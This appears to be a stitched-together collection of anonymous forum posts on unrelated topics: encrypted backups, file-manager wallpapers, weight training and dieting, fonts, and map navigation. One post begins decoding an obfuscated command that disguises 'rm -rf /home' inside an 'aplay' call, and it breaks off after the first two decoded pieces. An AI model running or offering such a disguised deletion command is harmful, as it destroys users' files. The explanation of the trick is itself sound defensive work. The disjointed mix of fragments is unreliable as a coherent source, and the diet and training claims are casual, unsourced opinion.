Veracrypt, encrypt the full external HDD and put your info there, then make an encrypted file container with all of you data and upload that file to the cloud.

Why aren't file manager wallpapers a thing? Most times you boot your PC, it's either gonna be to head over to the browser, or to head over to the file manager, you barely spend any time at your desktop, and while most browsers do allow you to set a home page wallpaper, you also barely spend any time at your home page. Meanwhile, it's not that rare to spend a lot of time sorting files, so a wallpaper would be nice.

based but people usually make the transparency too strong which limits the readability of text. you should mostly see a blur of colors instead of any detail from the wallpaper

Let’s break this down carefully — this command looks intentionally obfuscated.

The command is:

aplay --rawaudio "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"

Step 1: Decode the $'...' sequences

Each $'\x..' is a way of specifying a string using hex-escaped bytes.

$'\x72\x6d' "rm"

$'\55\x72\x66' "-rf"

Depends heavily on the exercise, doing heavy squats to failure will fuck you up but you can get away with it for a lot of isolation exercises.
>>
>>106978143
It isn't strictly necessary. Tons of studies have shown that maximum muscle growth is at around 2-3 reps shy of failure. The problem is that most people underestimate just how far away from failure they really are, while reaching failure is an absolute point where your body tells you you're done. Short term studies show that the growth between failure and 2-3 reps from failure is almost identical, but long term studies show that people who train to failure end up growing more muscle.

I just want to lose like 20 lbs of fat while maintaining muscle. I don't even care about bulking up
>>
>>106978262
muscle loss is heavily overstated. If you aren't a bodybuilder you will lose very little muscle while dieting as long as you do any exercise throughout the week (even just an hour of walking a day is good enough).
Eat more meat (Doesn't matter what type). It keeps you fuller for longer. Cut out junk food entirely. Cook your own meals or get someone else to cook them for you, avoid sugar, avoid snacking, and if you have a soda addiction switch to diet soda.
If you're obese you should expect those 20 pounds to take 2-3 months to lose when you clean your diet, if not it's probably going to be around 4-5 unless you do a lot of exercise.

Actually fonts have a lot of science that go into them, they're quire incredible.

Berkely Mono - Amazing (Pay to win)
Consolas - Best(Free)
Verdana - Best(Free)

Edges are easier to perceive to humans, so fonts are designed with this in mind.

Fonts actually store the method that was used to draw the character so it can be resized *precisely*.

A regular resize function doesn't work so well.

A lot of tech and science goes into these.

Recently I've noticed Google maps giving increasingly braindead navigation instructions. Following them adds 10 minutes to the time estimate. Ignoring them and just taking the interstate has me arrive 5 minutes earlier.

>This is in no way reliable as a backup
that's literally what I said

there's also no guarantee that ANY backup is going to work. hard drives die or corrupt data all the time. that's why the 3-2-1 rule is so important.
